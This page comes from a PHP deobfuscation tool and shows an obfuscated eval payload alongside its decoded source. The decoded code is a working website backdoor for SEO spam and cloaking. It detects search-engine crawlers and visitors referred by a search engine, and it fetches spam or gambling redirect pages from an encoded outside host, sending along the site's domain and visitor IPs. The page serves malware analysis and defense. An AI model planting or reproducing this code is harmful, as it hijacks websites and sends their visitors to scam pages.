Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php eval(gzinflate(base64_decode(str_rot13('gEueH+YV9eC+vbkSzINQQhd466B4HjtOzLaNOgPep61H..
Decoded Output download
set_time_limit(0);
error_reporting(0);
define('VERSION', 'ZKDNA');
define('APIVERSION', 'VEgjS21n');
define('API', base64_decode('aHR0cHM6Ly9naWFvdGllcDM2NS5jb20v'));
define('API_HTTP', base64_decode('aHR0cDovL2dpYW90aWVwMzY1LmNvbS8='));
define('API2', '');
define('FALLBACK_REDIRECT_HTML', base64_decode('PGh0bWw+CiAgICA8aGVhZD4KICAgICAgICA8dGl0bGU+VGhlIHJlc291cmNlIGNhbm5vdCBiZSBmb3VuZC48L3RpdGxlPgogICAgICAgIDxzY3JpcHQ+d2luZG93LmxvY2F0aW9uPSJodHRwczovL2dpYW90aWVwMzY1LmNvbS9yLzEuaHRtbCI7PC9zY3JpcHQ+CiAgICA8L2hlYWQ+CiAgICA8Ym9keT4KICAgICAgICA8aDE+Tm90IEZvdW5kPC9oMT4KICAgIDwvYm9keT4KPC9odG1sPgo='));
$req_ref = $_SERVER["HTTP_REFERER"];
$req_ua = $_SERVER["HTTP_USER_AGENT"];
$host = $_SERVER['HTTP_HOST'];
$req_uri = $_SERVER['REQUEST_URI'];
function fetch_prefix() {
}
function insert_html() {
ob_start();
register_shutdown_function('insert_html_end');
}
function insert_html_end() {
$output = ob_get_contents();
ob_end_clean();
}
function is_prefix($uri, $prefix_regex='/[?\/](app|ios|android|download|blank|bet|casino|games|play|video|poker|root|news|patt|tee|sto|bea|slo|bac|pac|tig|bmw|fru|bull|card|gods|fish|mahj|zop|xsn|xiazai|vna|soft|rna|qsj|muv|iphone|gov|edu|apk|wp-news|uri|bak|start|gaming|sport|football|bull|ID)./i') {
return preg_match($prefix_regex, $uri) === 1;
}
function is_crawler($ua) {
$crawlers = array('Googlebot', 'Bingbot', 'MSNBOT', 'Yahoo!');
foreach ($crawlers as $c) {
if (stripos($ua, $c) !== false) {
return true;
}
}
return false;
}
function is_visitor($ref) {
if (substr($ref, 0, 4) === 'http') {
$refs = array('google.', 'bing.', 'yahoo.');
foreach ($refs as $r) {
if (stripos($ref, $r) !== false) {
return true;
}
}
}
return false;
}
function get_content($url, $headers=array(), $conn_timeout=0, $trans_timeout=0) {
if (function_exists('curl_init')) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER["HTTP_USER_AGENT"]);
curl_setopt($ch, CURLOPT_REFERER, $_SERVER["HTTP_REFERER"]);
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $conn_timeout);
curl_setopt($ch, CURLOPT_TIMEOUT, $trans_timeout);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$result = curl_exec($ch);
if(curl_errno($ch)){
$result = NULL;
}
curl_close($ch);
return $result;
}
else {
return file_get_contents($url);
}
}
function get_client_ip(){
foreach (array('HTTP_CLIENT_IP', 'HTTP_X_REAL_IP', 'HTTP_CF_CONNECTING_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key){
if (array_key_exists($key, $_SERVER) === true){
foreach (explode(',', $_SERVER[$key]) as $ip){
$ip = trim($ip);
if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false){
return $ip;
}
}
}
}
}
function main() {
global $req_ref, $req_ua, $host, $req_uri;
header('Cache-Control: no-store, no-cache, must-revalidate');
header('Cache-Control: post-check=0, pre-check=0', FALSE);
header('Pragma: no-cache');
$uri_encoded = urlencode($req_uri);
$headers = array();
if (isset($_SERVER['HTTP_ACCEPT_LANGUAGE'])) {
$lang = $_SERVER['HTTP_ACCEPT_LANGUAGE'];
array_push($headers, "Accept-Language: $lang");
array_push($headers, "Vary: Accept-Language");
}
if (is_crawler($req_ua)) {
$crawler_ip = get_client_ip();
if (is_prefix($req_uri)) {
header('Content-Type:text/html; charset=utf-8');
echo get_content(API_HTTP. "connector.html?domain={$host}&uri={$uri_encoded}&ip={$crawler_ip}&ver=" . VERSION . "&v=" . APIVERSION, $headers);
exit;
}
else {
echo get_content(API_HTTP. "friends.html?domain={$host}&uri={$uri_encoded}&ip={$crawler_ip}&ver=" . VERSION . "&v=" . APIVERSION);
}
}
elseif (is_prefix($req_uri) && is_visitor($req_ref)) {
header('Content-Type:text/html; charset=utf-8');
$client_ip = get_client_ip();
$allheaders = array();
if (!function_exists('getallheaders')) {
function getallheaders() {
$tmp_headers = array();
foreach ($_SERVER as $name => $value) {
if (substr($name, 0, 5) == 'HTTP_') {
$tmp_headers[str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', substr($name, 5)))))] = $value;
}
}
return $tmp_headers;
}
$allheaders = getallheaders();
}
else {
$allheaders = getallheaders();
}
foreach ($allheaders as $key => $value) {
if (stripos($key, 'Sec-') === 0) {
array_push($headers, "$key: $value");
}
}
$html = get_content(API_HTTP. "redirectv1.html?domain={$host}&uri={$uri_encoded}&ip={$client_ip}&ver=" . VERSION . "&v=" . APIVERSION, $headers, 3, 3);
echo ($html? $html: FALLBACK_REDIRECT_HTML);
exit;
}
}
main();
Did this file decode correctly?
Original Code
<?php eval(gzinflate(base64_decode(str_rot13('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'))));?>
Function Calls
gzinflate | 1 |
str_rot13 | 1 |
base64_decode | 1 |
Stats
MD5 | 0cd893243c8db0572f1282c6af5fa16d |
Eval Count | 1 |
Decode Time | 57 ms |